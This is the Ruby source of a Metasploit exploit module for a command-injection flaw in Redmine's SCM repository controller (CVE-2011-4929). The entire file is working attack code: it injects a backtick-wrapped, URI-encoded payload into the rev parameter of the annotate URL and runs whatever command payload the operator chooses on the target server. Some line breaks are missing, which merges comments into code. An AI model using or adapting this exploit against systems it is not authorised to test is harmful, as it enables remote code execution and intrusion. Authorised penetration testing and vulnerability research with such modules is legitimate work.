### This module requires Metasploit: http://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info ={})
super(update_info(info,
'Name'=>'Redmine SCM Repository Arbitrary Command Execution',
'Description'=> %q{
This module exploits an arbitrary command execution vulnerability in the
Redmine repository controller. The flaw is triggered when a rev parameter
is passed to the command line of the SCM tool without adequate filtering.
},
'Author'=>['joernchen <joernchen[at]phenoelit.de>'],#Phenoelit'License'=> MSF_LICENSE,
'References'=>[['CVE', '2011-4929'],
['OSVDB', '70090'],
['URL', 'http://www.redmine.org/news/49']],
'Privileged'=> false,
'Payload'=>{'DisableNops'=> true,
'Space'=>512,
'Compat'=>{'PayloadType'=>'cmd',
#'RequiredCmd' => 'generic telnet',}},
'Platform'=>'unix',
'Arch'=> ARCH_CMD,
'Targets'=>[['Automatic', {}]],
'DisclosureDate'=>'Dec 19 2010',
'DefaultTarget'=>0))
register_options([
OptString.new('URI', [true, "The full URI path to the project", "/projects/1/"]),
], self.class)
end
def exploit
command= Rex::Text.uri_encode(payload.encoded)
urlconfigdir = normalize_uri(datastore['URI'], "/repository/annotate") + "?rev=`#{command}`"
res = send_request_raw({'uri'=> urlconfigdir,
'method'=>'GET',
'headers'=>{'User-Agent'=>'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
'Connection'=>'Close',
}}, 25)if(res)
print_status("The server returned: #{res.code} #{res.message}")else
print_status("No response from the server")
end
handler
end
end